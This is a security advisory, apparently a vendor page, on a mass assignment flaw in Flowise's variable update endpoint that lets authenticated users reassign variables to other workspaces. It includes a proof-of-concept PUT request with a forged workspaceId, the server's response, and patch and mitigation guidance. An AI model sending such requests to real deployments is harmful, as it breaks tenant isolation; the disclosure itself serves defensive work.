GHSA-6fw7-3q8r-m5vj — flowise
GHSA-6fw7-3q8r-m5vj is a CWE-284 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6fw7-3q8r-m5vj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.
This behavior may break tenant isolation in multi-workspace environments.
Details
The endpoint responsible for updating variables:
PUT /api/v1/variables/{variableId}
accepts a JSON request body containing the variable definition.
However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.
Server-controlled fields that can be manipulated include:
- workspaceId
- createdDate
- updatedDate
These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.
For example, the following request body was accepted by the server:
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.
PoC
Request
PUT /api/v1/variables/<VARIABLE_ID>
Content-Type: application/json
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
Response
{
"id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2026-03-06T18:05:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
This confirms that the backend accepts and persists attacker-controlled internal properties.
Impact
This vulnerability allows authenticated users to manipulate internal attributes of variable resources.
Possible impacts include:
- Cross-workspace reassignment of variables (workspaceId)
- Unauthorized modification of metadata (createdDate, updatedDate)
- Potential tenant isolation bypass in multi-workspace deployments
In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.2npm install flowise@3.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6fw7-3q8r-m5vj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6fw7-3q8r-m5vj can be triaged on real exposure rather than presence alone.
Tailored to GHSA-6fw7-3q8r-m5vj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6fw7-3q8r-m5vj in your dependencies?
O3 Security finds GHSA-6fw7-3q8r-m5vj across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.